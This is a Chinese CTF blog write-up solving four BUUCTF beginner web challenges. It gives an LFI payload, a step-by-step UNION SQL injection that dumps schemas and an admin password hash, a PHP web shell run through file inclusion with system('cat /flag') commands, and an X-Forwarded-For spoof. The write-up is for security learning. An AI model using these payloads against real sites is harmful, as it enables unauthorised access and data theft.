BUU Basic(1)

本文最后更新于 2024年11月11日 凌晨

BUU 做的几道题

BUU LFI COURSE 1

1
2
3
4
5
6
7
8
9
<?php

highlight_file(__FILE__);

if(isset($_GET['file'])) {
$str = $_GET['file'];

include $_GET['file'];
}

构造 payload:

1
?file=/flag

BUU SQL COURSE 1

点击 测试新闻1 ,f12 查看状态,发现注入点,访问请求网址

1
2
?id=1 and 1=1 正常回显
1=2 报错,说明有注入点

构造 payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
?id=-1 union select (select group_concat(schema_name) from information_schema.schemata),2#
得到数据库:information_schema,performance_schema,ctftraining,mysql,test,news

?id=-1 union select (select group_concat(table_name) from information_schema.tables where table_schema='news'),2#
得到数据库 news 下的表:admin,contents

?id=-1 union select (select group_concat(table_name) from information_schema.tables where table_schema='ctftraining'),2#
得到数据库 ctftraining 下的表:FLAG_TABLE,news,users

?id=-1 union select (select group_concat(column_name) from information_schema.columns where table_name='admin'),2#
得到 admin 表下的列名:id,username,password

?id=-1 union select (select group_concat(column_name) from information_schema.columns where table_name='users'),2#
得到 users 表下的列名:USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,ip,time

?id=-1 union select (select group_concat(username," ",password) from admin),2#
得到 admin 的数据:username=admin password=64ebd6a0d676acff2c6bed36e716c9aa

BUU UPLOAD COURSE 1

文件上传,先上传一个一句话木马 11.php ,但是蚁剑连接不了,无论上传什么都会被解析成 .jpg 格式

后面才知道这有一个文件包含漏洞,文件上传和文件包含结合起来了。

http://4eb012d0-f5b1-4297-907d-54f47dfaddf1.node5.buuoj.cn:81/index.php?file=upload.phpupload.php 换成上传的文件的路径,然后对其 post 传参

payload:1 是一句话木马的连接密码

1
1=system("ls /");
1
1=system("cat /flag")

BUU BURP COURSE 1

提示只能本地访问,所以bp 抓包进行 X-Forwarded-For 伪造

然后进行 post 传参

1
username=admin&password=wwoj2wio2jw93ey43eiuwdjnewkndjlwe

BUU Basic(1)
http://example.com/2024/11/07/BUUBasic-1/
作者
butt3rf1y
发布于
2024年11月7日
许可协议